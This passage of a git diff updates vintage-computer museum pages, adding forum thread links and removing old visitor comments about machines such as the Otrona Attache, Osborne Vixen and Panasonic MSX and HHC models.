multi-user environment for a small single threaded machine. It was also used on the early PDP's of Digital Equipment corp. - - author: Bob (USA) - date: Friday 5th April 2002 - text: In you discussion of the Osborne I, you failed to mention that Microsoft's MBasic was included as part of the Osborne I software. Some purchasers received a package called "Personal Pearl" -- which I have but have never used. MBasic source code was 100% upwards compatible with IBM PC's BASICA (source code only). I wrote 100s of MBasic programs in the period 1981-86. oc_id: 181 source: url: https://web.archive.org/web/20230602181528/http://www.old-computers.com/museum/computer.asp?c=181 diff --git a/content/museum/osborne-corp-vixen-occ4.md b/content/museum/osborne-corp-vixen-occ4.md index c18c13f7..d77993b3 100644 --- a/content/museum/osborne-corp-vixen-occ4.md +++ b/content/museum/osborne-corp-vixen-occ4.md @@ -56,6 +56,7 @@ params: value: $1298 tabs: - photos + forum_thread: 355 photos: - title: OSBORNE VIXEN subtitle: '' @@ -69,22 +70,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/osborn_vixen_1.jpg - comments: - - author: Ron (Las Vegas, NV) - date: Monday 9th April 2012 - text: I was president of the First Osborne Group until we made the decision that the need for CP/M support had faded and we had served our purpose. At our peek, FOG had over 17,000 members in more than 40 countries. Their were two incarnations of the Vixen that I''m aware of. One was black with horizontal drives. Very few were produced as it was about to be launched when the first re-org bankruptcy occurred. Osborne survived and launched a slightly modify version. It had the more traditional Osborne look and they returned to vertical drives. There was an external hard drive for it. I kept my Vixens, and had two of them out on the dining room table earlier today. Even the hard drive is still alive and kicking, with a large amount of CP/M software loaded on it. I built a menu system using "super submit" to make it easy to cycle through the options. I found a new home for the Vixens on another vintage computer website where they can be seen again. Ahh.. the memories. - - author: Rich (Chicago IL.) - date: Wednesday 9th May 2012 - text: |- - I started a collection of Osborne Computers and related Osborne items, and I am looking for the Vixen, can anyone help me find one.\ - Thanks email me @ rich@rhlenterprises.com - - author: Steven (California) - date: Tuesday 26th March 2002 - text: |- - I still own my vixen. Got it plus a printer for $700 and I loved it. nearly cried when the a: drive burned out. replaced the a: with an ibm model; it worked off and on after that.\ - the feature i liked most was the 256 key buffer. i could type and type and type and the puppy retained every key stroke, never missed a beat while it read and wrote to the drives. - - Great little machine. I liked CPM a lot. very simple and fast. oc_id: 351 source: url: https://web.archive.org/web/20230419175127/http://www.old-computers.com/museum/computer.asp?c=351 diff --git a/content/museum/osm-computer-corporation-zeus-3x.md b/content/museum/osm-computer-corporation-zeus-3x.md index 9f7e1719..ac9bf11e 100644 --- a/content/museum/osm-computer-corporation-zeus-3x.md +++ b/content/museum/osm-computer-corporation-zeus-3x.md @@ -52,6 +52,7 @@ params: value: Built-in PSU - label: PRICE value: 'USA (1983) : $10,800 (4 users systems) / $2,294 (4 users increment)' + forum_thread: 1301 oc_id: 1336 source: url: https://web.archive.org/web/20230202150823/http://www.old-computers.com/museum/computer.asp?c=1336 diff --git a/content/museum/osm-computer-corporation-zeus-4.md b/content/museum/osm-computer-corporation-zeus-4.md index 67c3d7dc..77da4f63 100644 --- a/content/museum/osm-computer-corporation-zeus-4.md +++ b/content/museum/osm-computer-corporation-zeus-4.md @@ -55,6 +55,7 @@ params: tabs: - photos - adverts + forum_thread: 1300 photos: - title: ZEUS 4 subtitle: '' diff --git a/content/museum/osm-computer-corporation-zeus.md b/content/museum/osm-computer-corporation-zeus.md index 46b11e0b..f7654c1f 100644 --- a/content/museum/osm-computer-corporation-zeus.md +++ b/content/museum/osm-computer-corporation-zeus.md @@ -50,6 +50,7 @@ params: value: Built-in PSU tabs: - adverts + forum_thread: 1299 adverts: - title: US ADVERT (APRIL 1982) subtitle: '' diff --git a/content/museum/otrona-attache.md b/content/museum/otrona-attache.md index 161f49f1..534021bf 100644 --- a/content/museum/otrona-attache.md +++ b/content/museum/otrona-attache.md @@ -67,6 +67,7 @@ params: tabs: - photos - links + forum_thread: 1194 photos: - title: OTRONA ATTACHE subtitle: '' @@ -133,75 +134,6 @@ params: - title: Wikipedia - Otrona page url: http://en.wikipedia.org/wiki/Otrona text: Some info here... - comments: - - author: Steve Gray (United States) - date: Monday 3rd May 2021 - text: This line above annoys me "Sadly the 2001 wasn''t completely IBM PC compatible...." . Actually, the 2001 was thoroughly tested and completely IBM PC compatible. At the time the company folded there was only one progarm identified that did not run correctly, the game ''frogger$'' that woould crash under some conditions. That was being thorouhly anlyed at the time the company folded. The company folded due to cash flow issues that had norhing to do with a PC ''compatibility'' issue. It was a Catch-22. Xebec refused to ship the disk controllers needed to buld the machines that were on order unless they were first paid in cash. Revenue could not be generated without the controllers. But the banks and the VC''s had decided they would give no more money to Otrona becase they had not met revenue goals. The problem is they were blindsided by the rise of the IBM-PC .... and the 8:16 co-developed with Phoenix Software, did not have the compatibilty needed to compete in the the PC compatible - market. So, suffeirng from the resulting revenue loss, Otrona designed and built the superior 2001 in record time, including its own BIOS, but could not generate the needed revenue to continue because they did not have the cash to buy the disk controllers needed to complete the systems. It was a very sad thing. What was the best PC compatible in existence was kept out of the market by the bean counters. Otrona should have been as big or bigger than Compaq. The Compaq PC was a tugboat compared to the 2001. Oh well. - - author: Kerry Davis (USA) - date: Thursday 29th January 2015 - text: |- - I got myself a new-condition Attache with the padded case recently, on ebay. Works perfectly, but didn''t come with any software. Any suggestions or sources would be greatly appreciated. email pearled-duck@earthlink.net I saw the previous posts by Charles Raisch but the site no longer exists, and it seems like he might have passed away since then. - - I did some software development work that was intended to be used on the Otrona and Compaq portables, for utility company energy audits, in the 1980s. - - author: Charles Raisch (USA) - date: Thursday 11th April 2013 - text: Have original First Attache Users Group software library and some part. www.charlesraisch.com - - author: Charles Raisch (USA) - date: Thursday 11th April 2013 - text: Have original First Attache Users Group software library and some part. www.charlesraisch.com - - author: Charles Raisch (USA) - date: Thursday 11th April 2013 - text: Have original First Attache Users Group software library and some part. www.charlesraisch.com - - author: Charles Raisch (USA) - date: Thursday 11th April 2013 - text: Have original First Attache Users Group software library and some part. www.charlesraisch.com - - author: Charles Raisch (USA) - date: Thursday 21st March 2013 - text: I was FAUG First Attache Users Group. Still have software and disks. Remember? - - author: Tim (US) - date: Friday 26th October 2012 - text: |- - I still have an Attache that I fire up every once in awhile - man, what a Cadillac it was in the day. It''s a very good example of how badly IBM shook up the whole market, because that company really deserved to keep going on. - - Sitting in my storeroom with the keyboard folded over the screen and the coiled keyboard hanging down, people often ask me why I have a portable heart monitor stored away! - - author: cpubuilder - date: Wednesday 18th January 2012 - text: '@steve I fixed it about a year ago, it was a crt controller, and a rom chip' - - author: Steve (Boulder, CO USA) - date: Tuesday 15th November 2011 - text: Oops.. I filled out the previous post incorrectly. It''s from me, not James Wilson. I wrote it TO James Wilson. - - author: James Wilson (Boulder, CO USA) - date: Tuesday 15th November 2011 - text: '@James. Funny you should mention and appreciate the keyboard. It was a custom job (of course) using high quality Cherry switches. We put a lot into that in order to get a quality look and feel. The Otrona was the Ferrari of portables and everything about it had to be top shelf.' - - author: Steve (USA) - date: Tuesday 15th November 2011 - text: '@cpubuilder. I just happened back across ths thread. I don''''t really know how to fix this macihine. I was a firmware/sodtware geek. Sorry.' - - author: James Wilson (Laguna Beach, California) - date: Saturday 15th October 2011 - text: |- - My first computer at JPL was an Otrona, and it was a winner. I was particularly impressed with the keyboard, and was sorry that the IBM one was totally inferior. I would like to chat with anyone connected with its development. - - Thanks. - - Jim Wilson - - author: Steven Streeper (Idaho/USA) - date: Wednesday 14th September 2011 - text: I purchased an Attache when they were first released. It was a fabulous machine for the times. I used it to develop several software applications over a three-year period, then sold it to a friend. At the time it came on the market, it was the ideal portable computer...pretty awesome!! - - author: cpubuilder - date: Monday 6th December 2010 - text: do you know anything on how to fix it steve - - author: Steve (USA) - date: Tuesday 23rd November 2010 - text: I worked there. Employee number 8, start to finish, and wrote most of the software including the ROM code (including the 2001 BIOS), utilities and O/S ports (CP/M and DOS). Just two things. The 2001 was completely IBM compatible. At the time we folded there was only on program we could find that would not run (Frogger) and that issue was almost licked. The reason we went under is because we were shot by our own marketing dept. Well, not really. But it was the straw that broke the camel''s back. They let leak that the 2001 was coming so orders for the 8:16 dried up and so did our revenue stream. We couldn''t hit the revenue targets necessary to access our credit line so we could not by parts to build the new 2001 machines. That''s why there were so few. The first run was really more like a proto run and then we shut down. It was too bad. The 2001 was a good machine and the orders were strong. But the banks and the VC''s decided they had enough and so we closed. A real shame. - - author: David Vohs (USA) - date: Thursday 15th April 2010 - text: |- - Here''s some trivia about this machine that must people don''t know about: - - NASA''s Jet Proulsion Laboratories was a large purchaser of these machines when they were new. - - An Attache even flew on the space shuttle! (before the GRiD Compass came out) oc_id: 1227 source: url: https://web.archive.org/web/20230530210241/http://www.old-computers.com/museum/computer.asp?c=1227 diff --git a/content/museum/palladium-tele-cassetten-game.md b/content/museum/palladium-tele-cassetten-game.md index 85b5d101..2cc77676 100644 --- a/content/museum/palladium-tele-cassetten-game.md +++ b/content/museum/palladium-tele-cassetten-game.md @@ -12,6 +12,7 @@ params: - adverts - software - links + forum_thread: 733 photos: - title: FIRST MODEL subtitle: '' @@ -127,19 +128,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: Fabian - date: Monday 23rd February 2015 - text: |- - I can confirm there was a light gun cartridge for this console. I had one of the first version with the big button in the middle, and with a light gun. If I remember right one of the light gun versions had a white square mobin on screen to shoot on. Game we played the most was the motorcycle jumping over cars. - - I think the console with some cartridges still are at my parents house... - - author: Fabian - date: Monday 23rd February 2015 - text: |- - I can confirm there was a light gun cartridge for this console. I had one of the first version with the big button in the middle, and with a light gun. If I remember right one of the light gun versions had a white square mobin on screen to shoot on. Game we played the most was the motorcycle jumping over cars. - - I think the console with some cartridges still are at my parents house... related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/palladium-tele-play-sr.md b/content/museum/palladium-tele-play-sr.md index 008b0597..f5d8fbf0 100644 --- a/content/museum/palladium-tele-play-sr.md +++ b/content/museum/palladium-tele-play-sr.md @@ -44,6 +44,7 @@ params: value: 'No' - label: PRICE value: Unknown + forum_thread: 718 oc_id: 735 source: url: https://web.archive.org/web/20230614011045/http://www.old-computers.com/museum/computer.asp?c=735 diff --git a/content/museum/palladium-video-computer-game.md b/content/museum/palladium-video-computer-game.md index 40b1ef7c..a7a2330d 100644 --- a/content/museum/palladium-video-computer-game.md +++ b/content/museum/palladium-video-computer-game.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 1190 photos: - title: VIDEO-COMPUTER-GAME subtitle: '' diff --git a/content/museum/panasonic-cf-2700.md b/content/museum/panasonic-cf-2700.md index 107015b8..32b116d3 100644 --- a/content/museum/panasonic-cf-2700.md +++ b/content/museum/panasonic-cf-2700.md @@ -78,6 +78,7 @@ params: - hardware - emulators - links + forum_thread: 986 photos: - title: LARGE VIEW subtitle: '' @@ -249,25 +250,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Alphamale2039 (Europe) - date: Thursday 4th January 2007 - text: About the 2 cartridge slots, of some MSX computers... 1 Cartridge slot could be used to insert a music-module or FM-pack, and then if you inserted a game-cartridge in slot 2, you had better sound/music with digital sound. - - author: Trond (Norway) - date: Friday 9th December 2005 - text: |- - I love this machine! Spent a lot of time with it when I was 11-14 years old, even learned how to do Assembly on it... - - At the time, PCs were slow in comparison. The Z80A had a lot of registers, which made it the most powerful 8-bit CPU ever. The 8080 and 8086 where much smaller and less versatile. Z80s are still used today, often in embedded systems, like network cards. - - author: Chaoticjelly (UK) - date: Monday 2nd August 2004 - text: Seems like a very nice little computer, unusual directional pad on the unit itself... like the colour... not sure what the point of having two cart slots is, as I couldnt get mine to do anything with two slots (can you switch between them??) related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/panasonic-fh-2000.md b/content/museum/panasonic-fh-2000.md index 6dafc319..8b492588 100644 --- a/content/museum/panasonic-fh-2000.md +++ b/content/museum/panasonic-fh-2000.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1114 photos: - title: FH-2000 subtitle: '' @@ -83,35 +84,6 @@ params: subtitle: '' text: The upper side of the logic board holds the battery, the four ROM sockets as well as two piggi-back cards, the Serial interface card **(1)** and the 128 KB RAM card **(2)**. image: /media/museum/photos/nixdorf_pc05_inside_s2.jpg - comments: - - author: Uli (Germany) - date: Wednesday 8th March 2017 - text: |- - hello world, - - does anybody have an eprom with MS-DOS (and BASIC) to sell for this machine.\ - Machine is called Panasonic FH 2000 (for international market) or Siemens Nixdorf PC 05 for German market. - - Kind regards\ - Uli - - author: Uli (Germany) - date: Tuesday 7th March 2017 - text: |- - Panasonic FH 2000 / Siemens Nixdorf PC 05 - - hello world, - - does anybody know which Kind of battery pack can be used in this old Computer? 4 x 1,5V.\ - NiMH?\ - NiCd? - - Greetings\ - Uli - - author: Philippe (Paris / France) - date: Monday 27th January 2014 - text: |- - Hello, I own a Panasonic FH-2000 but can hardly use it as it only contains Greek insurance applications :( Does anyone have a BASIC ROM (or image I could burn in an EPROM) to sell or share ?\ - Thanks in advance, Philippe oc_id: 1144 source: url: https://web.archive.org/web/20230608141639/http://www.old-computers.com/museum/computer.asp?c=1144 diff --git a/content/museum/panasonic-fs-a1-fx.md b/content/museum/panasonic-fs-a1-fx.md index cecc5b3a..aa25d461 100644 --- a/content/museum/panasonic-fs-a1-fx.md +++ b/content/museum/panasonic-fs-a1-fx.md @@ -11,6 +11,7 @@ params: - photos - emulators - links + forum_thread: 613 photos: - title: FS A1 FX subtitle: '' @@ -32,13 +33,6 @@ params: - title: The Ultimate MSX FAQ url: http://www.faq.msxnet.org/msx2p.html text: MSX2+ specifications, and more! - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/msx-2-291 - /museum/panasonic-fs-a1-wx-wsx diff --git a/content/museum/panasonic-fs-a1-gt.md b/content/museum/panasonic-fs-a1-gt.md index 3e824080..6954c838 100644 --- a/content/museum/panasonic-fs-a1-gt.md +++ b/content/museum/panasonic-fs-a1-gt.md @@ -70,6 +70,7 @@ params: - photos - emulators - links + forum_thread: 614 photos: - title: TURBOR FS A1 GT subtitle: '' @@ -97,16 +98,6 @@ params: - title: MSX-VIEW url: http://www.chez.com/msxfr/msxviewp.html text: A description of MSX-VIEW, the graphical operating system (in French) - comments: - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support related: - /museum/msx-turbo-r - /museum/panasonic-fs-a1-st diff --git a/content/museum/panasonic-fs-a1-st.md b/content/museum/panasonic-fs-a1-st.md index 429fd796..6674a710 100644 --- a/content/museum/panasonic-fs-a1-st.md +++ b/content/museum/panasonic-fs-a1-st.md @@ -68,6 +68,7 @@ params: - photos - emulators - links + forum_thread: 756 photos: - title: FS-A1 ST subtitle: '' @@ -100,16 +101,6 @@ params: - title: MSX Ultimate FAQ - Turbo R page url: http://www.faq.msxnet.org/msxtr.html text: Very nice info from this excellent site! - comments: - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support related: - /museum/msx-turbo-r - /museum/panasonic-fs-a1-gt diff --git a/content/museum/panasonic-fs-a1-wx-wsx.md b/content/museum/panasonic-fs-a1-wx-wsx.md index 30fba6af..3e264ef4 100644 --- a/content/museum/panasonic-fs-a1-wx-wsx.md +++ b/content/museum/panasonic-fs-a1-wx-wsx.md @@ -69,6 +69,7 @@ params: - software - emulators - links + forum_thread: 608 photos: - title: FS A1 WX subtitle: '' @@ -146,13 +147,6 @@ params: - title: The Ultimate MSX FAQ url: http://www.faq.msxnet.org/msx2p.html text: MSX2+ specifications, and more! - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/msx-2-291 - /museum/panasonic-fs-a1-fx diff --git a/content/museum/panasonic-fs-a1.md b/content/museum/panasonic-fs-a1.md index 4fde87e7..26aaa21d 100644 --- a/content/museum/panasonic-fs-a1.md +++ b/content/museum/panasonic-fs-a1.md @@ -66,6 +66,7 @@ params: - software - emulators - links + forum_thread: 605 photos: - title: BLACK CASE subtitle: '' @@ -170,22 +171,6 @@ params: - title: MSX Faq url: http://www.faq.msxnet.org text: Here, you can find near all hardware pieces related to MSX. - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: JJ (WWW) - date: Friday 14th October 2011 - text: Main board of FS-A1 and FS-A1 MKII the same. - - author: Bjorn (Sweden) - date: Tuesday 9th November 2004 - text: I forgot to add my mail! ;o) - - author: Bjorn (Sweden) - date: Tuesday 9th November 2004 - text: Where can I get the power cord needed? I have the computer and a power converter, 230v -> 110v. related: - /museum/canon-v-25 - /museum/jvc-hc-95 diff --git a/content/museum/panasonic-fs-a1f.md b/content/museum/panasonic-fs-a1f.md index 7e24c5a1..3ff2cb2d 100644 --- a/content/museum/panasonic-fs-a1f.md +++ b/content/museum/panasonic-fs-a1f.md @@ -67,6 +67,7 @@ params: - adverts - emulators - links + forum_thread: 606 photos: - title: DISK DRIVE CLOSE UP subtitle: '' @@ -98,13 +99,6 @@ params: - title: MSX Faq url: http://www.faq.msxnet.org text: Here, you can find near all hardware pieces related to MSX. - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-25 - /museum/jvc-hc-95 diff --git a/content/museum/panasonic-hhc.md b/content/museum/panasonic-hhc.md index 008ff3c9..1ca0f349 100644 --- a/content/museum/panasonic-hhc.md +++ b/content/museum/panasonic-hhc.md @@ -60,6 +60,7 @@ params: - photos - adverts - hardware + forum_thread: 630 photos: - title: LARGE VIEW subtitle: '' @@ -137,40 +138,6 @@ params: subtitle: '' text: Panasonic RL-P1004A 40 character per line thermal printer and tape recorder interface. image: /media/museum/hardware/panasonic_hhc_printer_s1.jpg - comments: - - author: Jerri Kohl (United States) - date: Tuesday 6th August 2019 - text: I''m looking to assembly programming information and to purchase the following items for this system or the system including these items. Does anyone have a TV/monitor interface or any extra info about it? Does anyone have any extra information about (or have?) the EPROM expansion board that Tom Klein described on the main page here for the HHC? He said, "It was housed in a one-inch thicker tray and interfaced between the printer and compueter, adding about 1 inch to the length." And it had sockets for 8-64K EEPROMS. I am curious how the bankswitching was performed. - - author: jason beck (United States) - date: Friday 1st August 2014 - text: I have the entire set up of the hhc panasonic still in the brief case it came in. looking to sell it today. Program books and the instructions it was bought with. mint condition. no reasonable offer refused. questions and comments please email me. happy to show . it works . kil.liane@live.com - - author: Jimmy james (Indiana USA) - date: Monday 7th July 2014 - text: I am looking to buy a printer for the tq2310 dose anyone know where to find one for sale thanks - - author: Nik (USA) - date: Tuesday 11th June 2013 - text: |- - Several years ago, I managed to contact one of the developers of the systems software used in the Panasonic HHC. He had retired to an idyllic life to an island somewhere.\ - I had emailed him inquiring about the SNAP language, and he graciously responded. He wrote that SNAP was a custom forth executive ( similar to a runtime ) and that the applications were developed on Apple II computers.\ - For those unfamiliar with forth, the programs can be compiled to a list of memory addresses that point to library functions or data. The runtime is a program loop that reads the top address and calls the library function at the address. The called function may add, to or change the list. The net effect is execution speed close to a compiled program, with the compact program size similar to an interpreted program.\ - I suppose, if one was determined, they could extract a rom image, and byb comparing the application roms to the systems roms, and identify the entry points, and using this info and amodern forth environment write custome software. - - author: shari (usa) - date: Wednesday 5th December 2012 - text: How do you get it to printer, couldn''t find that part in the book - - author: shari (usa) - date: Wednesday 5th December 2012 - text: How do you get it to printer, couldn''t find that part in the book - - author: Cy (Iowa, USA) - date: Tuesday 10th April 2007 - text: |- - Hello I can repair most problems with the HHC's\ - And am looking for any of the software of the non insurance type.\ - Can upgrade the internal and external ram.\ - Copies of the manuals especialy the SnapForth Reference Manual.\ - Planning on making some expansion modules. - - author: JIM (UNITED STATES) - date: Thursday 23rd December 2004 - text: I HAVE THE VERY FIRST PANASONIC HHC WITH PRINTER AND CASE. THEY ARE ALL IN VERY GD CONDITION NAD WOULD BE INTERESTED IN MAYBE FINDING THE VALUE OF IT ALL. PRINTER AND HHC STILL WORK EXCELLENT. THANK YOU FOR ANY HELP YOU CAN SHARE WITH ME ON THIS .. HAPPY HOLIDAYS !!! oc_id: 644 source: url: https://web.archive.org/web/20221209195935/http://www.old-computers.com/museum/computer.asp?c=644 diff --git a/content/museum/panasonic-jd-series.md b/content/museum/panasonic-jd-series.md index b4e0d16f..f82f9834 100644 --- a/content/museum/panasonic-jd-series.md +++ b/content/museum/panasonic-jd-series.md @@ -68,6 +68,7 @@ params: - photos - adverts - hardware + forum_thread: 1238 photos: - title: JD-800U subtitle: '' diff --git a/content/museum/panasonic-jr-200u.md b/content/museum/panasonic-jr-200u.md index 019cb55d..3933d1ab 100644 --- a/content/museum/panasonic-jr-200u.md +++ b/content/museum/panasonic-jr-200u.md @@ -71,6 +71,7 @@ params: - software - emulators - links + forum_thread: 546 photos: - title: REAR CONNECTORS subtitle: '' @@ -163,66 +164,6 @@ params: - title: Matsushita JR Museum url: http://dec.sakura.ne.jp/~hayashi/jr/index.html text: A japanese virtual museum dedicated to the JR computers ! - comments: - - author: Marq (Finland) - date: Sunday 28th September 2014 - text: The Service Manual is now available at Vintage Volts. All in all, a lot more has been discovered about the machine. My current guess is that the CPU runs at 1.366 MHz. - - author: Lance Lindell (United States) - date: Sunday 17th November 2013 - text: Hello, I want to let enthusiasts know that there is currently a mint Panasonic JR-200U listed on eBay by user ID seattlegoodwill. They are very reputable and seem to always have a good stock of "old computers." Save it from the landfill! Lance - - author: Marq (Helsinki, Finland) - date: Friday 16th March 2012 - text: 'I''''ve been trying to hack the JR-200UP for some time now and have discovered a thing or two (the technical manual WOULD have been a nice addition...) See the findings here: http://www.kameli.net/marq/?page_id$1270' - - author: Robert Saler (Toronto, CANADA) - date: Tuesday 11th October 2011 - text: |- - This message is for J. Mitch Hopper - I recently bought a Panasonic JR-200 but with no manuals. Cute little computer, but I am going to need manuals to figure anything out.\ - I see from the postings that you have docs - could you please email them to me at robert.saler@gmail.com.\ - Cant do anything without them - sorry for the trouble.\ - Thanks - Robert - - author: Clocky (Australia) - date: Thursday 22nd September 2011 - text: |- - I have a JR-200U and need any information I can find, could you please email me the manual to clockmeister@internode.on.net J. Mitch Hopper? - - Thanks in advance. - - author: J. Mitch Hopper - date: Wednesday 17th August 2011 - text: |- - Note to athansoft:\ - Alas, I forgot to send you the manual. Very sorry for the delay. Just sent it. - - author: athansoft - date: Thursday 27th January 2011 - text: My email is athansoft@hotmail.com. Thank you J. Mitch Hopper. I am waiting for your pdf files - - author: J. Mitch Hopper - date: Thursday 20th January 2011 - text: I have manuals. If you want them, post a message here with contact info. I will email the PDF on request. - - author: athansoft (Greece) - date: Tuesday 18th January 2011 - text: I have a Panasonic JR-200UP but without manuals. Could anyone sent me photocopies or pdf file of it and I''ll pay him. Thank you - - author: J. Mitch Hopper - date: Sunday 8th August 2010 - text: I have a JR-200 new-in-the-box with manuals. Looking over the detailed memory map,I see that it is exactly the same as the Radio Shack CoCo - right down to the free, unassigned space. - - author: Michael (United States) - date: Sunday 22nd December 2002 - text: 'For the most in-depth information available on the JR-200u visit: http://home.kc.rr.com/vintagecomputers/index.html' - - author: James the Animal Tamer (Internet) - date: Saturday 6th April 2002 - text: |- - Emulator resides on\ - www.geocities.com/emucompboy - - I'd need the technical or development docs to make the emulator better. - - author: Hafthor Stefansson (Earth) - date: Friday 29th March 2002 - text: |- - I still have an old Panasonic JR-200U that I bought from J&R Music World in\ - NY in 1984 or so. For the day, it was actually a pretty nice little machine.\ - 32KB, better graphics than the CoCo, but still not very good, a Motorola\ - 6802 processor, fairly decent sound, an independent timer (which is how it\ - ended up as a fancy alarm clock for me for a couple of years). I didn't get any peripherals with it, but I did have the cassette cable and used a crappy little Radio Shack cassette recorder to save/load my programs. I had no software except for the stuff I wrote myself, but it was still a great first computer. I never really figured out how the MON debug monitor thingy worked.\ - Also, I never got a real owners manual. When J&R shipped it to me, it was missing the manual all together. After several phone calls, they agreed to send one. What I got was a Xerox copy of the manual. That kinda sucked, but\ - it worked. related: - /museum/matsushita-national-jr-200 oc_id: 553 diff --git a/content/museum/panasonic-senior-partner.md b/content/museum/panasonic-senior-partner.md index e67d10f2..e103d063 100644 --- a/content/museum/panasonic-senior-partner.md +++ b/content/museum/panasonic-senior-partner.md @@ -66,6 +66,7 @@ params: - photos - adverts - software + forum_thread: 492 photos: - title: SENIOR PARTNER subtitle: '' @@ -106,105 +107,6 @@ params: subtitle: '' text: Apparently this Senior Partner has a hard-disk mounted. image: /media/museum/software/panasonic_senior-partner_ss1.jpg - comments: - - author: ~Von (United States) - date: Wednesday 25th May 2022 - text: I friend was cleaning out his basement and passed along his RL-H7000W. It has 2 5 1/4 drives but no HD. Fired right up on DOS 2.11. I''d love to install a hard drive into this. Anyone know if that is possible? I found an ad for one of these and the 7100 model had a whopping 10MB HD in it.. - - author: Diego Romero (Argentina) - date: Wednesday 29th September 2021 - text: Please ho can give me or if have a link to download a copy of the Boot Disk MS-DOS 2.0 for this computer , thank you!! - - author: Brian Tristam Williams (South Africa) - date: Tuesday 28th September 2021 - text: '@Patrick DePalma are you sure you don''''t know where the cable is? It''''s not removable, but it tucks away in a hole next to the screen. The cap for the hole wraps around the cable so it doesn''''t fall back into the recess, but if that snaps, you might find the cable is inside the machine. I, too, thought I had no cable and would have to make one up myself (connector on the keyboard is just a mini-DIN. But when I opened the receptacle, expecting to find a panel-mounted connector, I found the jack attached to a length of curly keyboard cable.' - - author: Randon (United States) - date: Wednesday 28th April 2021 - text: Hey Jim M, I just made an image of a good Sr. Partner DOS 2.0B/Basic disk. u/grateparm on reddit - - author: Jim M (TN USA) - date: Friday 10th July 2020 - text: If anyone has the original disks for this system I''d love to get in contact with you and archive them for upload! - - author: Patrick DePalma (United States) - date: Thursday 13rd June 2019 - text: |- - I am looking for a cable to connect the keyboard to the computer on my Sr. Partner. I’m the original owner and it kills me that I can’t find the cable. - - Any advice as to where to find one would be appreciated. - - Thanks in advance. - - author: Jerri Kohl (NEK VT US) - date: Tuesday 19th June 2018 - text: The description says this supported 640x200x4 colors, but the specs say 640x200x2 colors (CGA standard). I assume the later is the correct spec. What was the video standard and resolution for the built-in screen? Was it 640x200 or was it Hercules or something else? - - author: Norris Lee grant (Pawley is. S. C. United States ) - date: Tuesday 13rd March 2018 - text: I have a Panasonic panther computer model rl h70000 w I would like to sell that works - - author: Nanci Glassgow (CA USA ) - date: Sunday 27th April 2014 - text: I bought a brand brand new Panasonic Senior Partner in 1985. Used it in my business. I had a modem installed in it when I bought it. It still works the last time I plugged it in. I have a boot disk. - - author: Mark (Long Island ny) - date: Saturday 1st March 2014 - text: I just acquired a functional one but it didn''t have the bootdiscs. Can I just use any 5.25 floppy or do I need specific bootdiscs? Anyone have a copy I could buy? - - author: chris sitarski (fremont ne usa) - date: Monday 29th July 2013 - text: Sorry chrissitarski@live.com I''ll right you if you want to buy it - - author: chris sitarski (fremont ne usa) - date: Monday 29th July 2013 - text: |- - I have one good condition I''m selling it it works great any offers\ - chrissitarski@gmail.com - - author: BillN (FL, USA) - date: Thursday 25th April 2013 - text: |- - I have a Panasonic Sr Partner that I purchased new. I have the original shipping box, a carry case and the original receipt. I have been storing it since I could not bring myself to part with this piece of my personal history. I no longer have room for it. Anyone interested?\ - It has not been plugged in for over ten years. I doubt if it works. - - author: just me (Germany) - date: Thursday 24th January 2013 - text: Well, bought one in 1986 for half the price, which was then around $2000, including 2 \* 360 KB drives and only MS DOS 2.11$ but i later "repaired" it, by using parts from a Nixdorf clone. I still have it, and i won''t give it away EVER. Was very expensive then, and had to work hard for the money to pay it. I used it to write, play, and be online for the first time in my life with a 300bd modem. I will have to figure out, whether it is still working, because i didn''t use it for some time, but i''ll check out soon :-) - - author: Corey K (MD, United States) - date: Friday 4th January 2013 - text: I recently picked one of these up for free. It didn''t include the software though. I''m hoping I come a cross the software somewhere. - - author: Matt (UK) - date: Tuesday 14th September 2010 - text: |- - I grew up using this machine, only it was the Nixdorf version I played games on it, wrote stories on it, and learned DOS on it. And We still have it! - - Brilliant, innovative machine. - - author: HammerNJ (New Jersey, USA) - date: Friday 28th May 2010 - text: 'I inherited one of these back in 1985 when our Office computer System got upgraded to a Novell ArcNet LAN with IBM PS/2 25 Workstations. I upgraded it to 10MB Hard drive and 512K as well. Took it home and used it to connect to the first version of Prodigy online. I loved it''''s built-in Modem and Thermal Printer. I learned every DOS command and BASIC on it too. Was tough to use PFS: Write! on it''''s 9" green screen, but I 